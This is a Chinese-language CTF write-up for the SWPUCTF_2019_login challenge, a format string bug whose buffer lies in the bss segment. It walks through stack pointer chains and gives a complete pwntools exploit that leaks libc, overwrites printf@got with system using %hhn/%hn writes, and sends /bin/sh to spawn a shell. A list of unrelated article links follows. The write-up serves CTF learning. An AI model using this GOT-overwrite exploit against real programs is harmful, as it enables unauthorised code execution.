题目的例行检查我就不放了,将程序放入ida中

很明显的值放入了bss段的格式字符串,所以我们动态调试一下程序

可以看到ebp这个地方0xffd0dd17-->0xffd0dd38-->0xffd0dd48这个指针链接,而ebp这个的值是%6$p的偏移,所以我们可以通过修改%6这里的指针处往0xffd0dd48这里覆盖位printf_got表的位置

相关代码为

可以看到我们成功的在a8也就是偏移为%14的这里写上了printf_got的地址(ebp指针不一样因为我重新打开的,不要介意)

然后再将%15的位置覆盖为printf_got+1的地址(说实话,我也不知道这步是为什么,)

相关代码为

可以看到成功将%14和%15的偏移处修改为了printf@got的地址,然后我们可以将system的地址覆盖到这里,这样当我们输入/bin/sh的时候就可以拿到shell了

相关代码

因为这里我们是一步完成的,所以我们需要再减去0x10的长度

可以看到我们成功的将这里的指针覆盖为了system的地址

完整exp如下

from pwn import *
import time p = process('./pwn1')
#p = remote('node4.buuoj.cn',26202)
libc = ELF('./libc-2.27-i386.so')
p.sendlineafter('name:','aa')
p.sendlineafter('password:','%15$p') p.recvuntil('0x')
#10 14
__libc_start_main = int(p.recvuntil('\n',drop=True),16)-0xf1
libc_base = __libc_start_main - libc.symbols['__libc_start_main']
print('libc_base-->'+hex(libc_base))
system = libc_base + libc.sym['system']
print('system-->'+hex(system)) p.sendlineafter('Try again!','%6$p')
p.recvuntil('0x')
strack_addr0 = int(p.recvuntil('\n',drop=True),16)
print('strack_addr0-->'+hex(strack_addr0))
#0xffda2994 p.sendlineafter('Try again!','%10$p')
p.recvuntil('0x')
strack_addr1 = int(p.recvuntil('\n',drop=True),16)
print('strack_addr1-->'+hex(strack_addr1))
#0xffd2a9a4
#print_got 0x0804b014
cmd = 'b *0x08048575\n'
#strack_addr1的值就是ebp第二的指针

#---------------将%14的偏移的地址处修改为print_got的地址----------
payload = '%'+str(0x14)+'c'+'%10$hhn'
p.sendlineafter('Try again!\n',payload) #14 payload1 = '%'+str((strack_addr1 & 0xff)+1)+'c'+'%6$hhn'
p.sendlineafter('Try again!\n',payload1) payload2 = '%'+str(0xb0)+'c'+'%10$hhn'
p.sendlineafter('Try again!\n',payload2) #b0 payload3 = '%'+str((strack_addr1 & 0xff)+2)+'c'+'%6$hhn'
p.sendlineafter('Try again!\n',payload3) payload4 = '%'+str(0x04)+'c'+'%10$hhn'
p.sendlineafter('Try again!\n',payload4) #04 payload5 = '%'+str((strack_addr1 & 0xff)+3)+'c'+'%6$hhn'
p.sendlineafter('Try again!\n',payload5) payload6 = '%'+str(0x08)+'c'+'%10$hhn'
p.sendlineafter('Try again!\n',payload6) #08 #-------------------将%15的偏移处的地址覆盖为printf_got+1的地址-------------------------------
strack_addr1 = strack_addr1 + 4
payload1 = '%'+str(strack_addr1 & 0xff)+'c'+'%6$hhn'
p.sendlineafter('Try again!\n',payload1) payload2 = '%'+str(0x15)+'c'+'%10$hhn'
p.sendlineafter('Try again!\n',payload2) #15 payload3 = '%'+str((strack_addr1 & 0xff)+1)+'c'+'%6$hhn'
p.sendlineafter('Try again!\n',payload3) payload4 = '%'+str(0xb0)+'c'+'%10$hhn'
p.sendlineafter('Try again!\n',payload4) #b0 payload5 = '%'+str((strack_addr1 & 0xff)+2)+'c'+'%6$hhn'
p.sendlineafter('Try again!\n',payload5) payload6 = '%'+str(0x04)+'c'+'%10$hhn'
p.sendlineafter('Try again!\n',payload6) #04 payload7 = '%'+str((strack_addr1 & 0xff)+3)+'c'+'%6$hhn'
p.sendlineafter('Try again!\n',payload7) payload8 = '%'+str(0x08)+'c'+'%10$hhn'
p.sendlineafter('Try again!\n',payload8) #08 #------------------修改为system的地址---------------------------- payload = '%'+str(system & 0xff)+'c'+'%14$hhn' payload += '%'+str(((system & 0xffff00)>>8)-0x10)+'c'+'%15$hn'
print(hex(((system & 0xffff00)>>8)-0x10))
p.sendlineafter('Try again!\n',payload) time.sleep(0.5) p.sendline('/bin/sh') gdb.attach(p,cmd)
p.interactive()

题后修补:注意第一次修改%6的偏移是为了修改指针指向的地址然后修改%10的值是修改地址指针上面的值

结束

SWPUCTF_2019_login(格式字符串偏移bss段)的更多相关文章

  1. 【转】linux代码段,数据段,BSS段, 堆,栈

    转载自 http://blog.csdn.net/wudebao5220150/article/details/12947445  linux代码段,数据段,BSS段, 堆,栈 网上摘抄了一些,自己组 ...

  2. BSS段 data段 text段 堆heap 和 栈stack

    BSS段:BSS段(bss segment)通常是指用来存放程序中未初始化的全局变量的一块内存区域.BSS是英文Block Started by Symbol的简称.BSS段属于静态内存分配.   数 ...

  3. C语言初始化——bss段初始化、跃入C、C与汇编

    1.bss段初始化 变量 存放位置 初始化的全局变量 数据段 局部变量 栈 malloc函数分配的 堆 未初始的全局变量 bss段 说明:全局变量在未赋初值时,会被保留到bss段. 测试: #incl ...

  4. linux代码段,数据段,BSS段, 堆,栈(二)

    //main.cpp int a = 0; 全局初始化区  char *p1; 全局未初始化区 main() { int b; 栈 char s[] = "abc"; 栈 char ...

  5. 【转】 BSS段 数据段 代码段 堆栈 指针 vs 引用

    原文:http://blog.csdn.net/godspirits/article/details/2953721 BSS段 数据段 代码段 堆栈 (转+) 声明:大部分来自于维基百科,自由的百科全 ...

  6. 数据段、代码段、堆栈段、BSS段

    在linux中,进程在内存中一般会分为5个段,用来存放从磁盘载入的程序代码,等. 这五个段分别是: BSS段: 通常用来存放程序中未初始化的全局变量的一块内存区域.属于静态内存分配. 问题:全局变量不 ...

  7. 【转】可执行程序包括BSS段、数据段、代码段

    可执行程序包括BSS段.数据段.代码段(也称文本段). 一.BSS BSS(Block Started by Symbol)通常是指用来存放程序中未初始化的全局变量和静态变量的一块内存区域.特点是:可 ...

  8. Linux中的段管理,bss段,data段,

    Linux 的段管理, BSS段(bss segment)通常是指用来存放程序中未初始化的全局变量的一块内存区域.BSS是英文Block Started by Symbol的简称.BSS段属于静态内存 ...

  9. 浅谈c语言代码段 数据段 bss段

    代码段.数据段.bss段 (1)编译器在编译程序的时候,将程序中的所有的元素分成了一些组成部分,各部分构成一个段,所以说段是可执行程序的组成部分. (2)代码段:代码段就是程序中的可执行部分,直观理解 ...

随机推荐

  1. 使用pmml跨平台部署机器学习模型Demo——房价预测

      基于房价数据,在python中训练得到一个线性回归的模型,在JavaWeb中加载模型完成房价预测的功能. 一. 训练.保存模型 工具:PyCharm-2017.Python-39.sklearn2 ...

  2. java-通过IO流复制文件夹到指定目录

    public class copyDirectoryDemo { public static void main(String[] args) { File srcFolder = new File( ...

  3. 自定义 OpenShift s2i 镜像与模板——OracleJDK8

    本文目标 由于 OpenShift 官方提供的镜像与模板(OpenJDK8)不完全满足业务需要: 不包含飞行记录功能.只有 OpenJDK11 以上才被 Oracle 开源 生成堆 dump 很大很慢 ...

  4. [loj2842]野猪

    首先,并不一定走"除了上一次来的边"以外的最短路,但考虑"除了上一次来的边"以外的最短路和次短路(这里的次短路指最后一条边与最短路不同的"最短路&qu ...

  5. 跟着老猫来搞GO-内建容器Map

    前期回顾 在上面的文章中,老猫和大家分享了GO语言中比较重要的两种数据结构,一种是数组,另外一种是基于数组的slice.本篇文章想要继续和大家分享剩下的容器以及字符字符串的处理. MAP map的定义 ...

  6. 『与善仁』Appium基础 — 14、Appium测试环境搭建

    目录 1.Appium测试环境搭建整体思路 (1)Android测试环境搭建 (2)Appium测试环境搭建 (3)测试脚本语言的环境搭建 2.Appium在Android端和IOS端的工作流程 (1 ...

  7. python之元编程

    一.什么是元编程 元编程是一种编写计算机程序的技术,这些程序可以将自己看作数据,因此你可以在运行时对它进行内省.生成和/或修改. Python在语言层面对函数.类等基本类型提供了内省及实时创建和修改的 ...

  8. Vue 中 $on $once $off $emit 详细分析,以及使用

    vue的 $on,$emit,$off,$once Api 中的解释: $on(eventName:string|Array, callback) 监听事件 监听当前实例上的自定义事件.事件可以由 v ...

  9. DRF知识点总结

    1. Web API接口 2. Restful接口规范 RDF请求流程及主要模块分析

  10. Apache RocketMQ分布式消息传递和流数据平台及大厂面试宝典v4.9.2

    概述 **本人博客网站 **IT小神 www.itxiaoshen.com 定义 Apache RocketMQ官网地址 https://rocketmq.apache.org/ Latest rel ...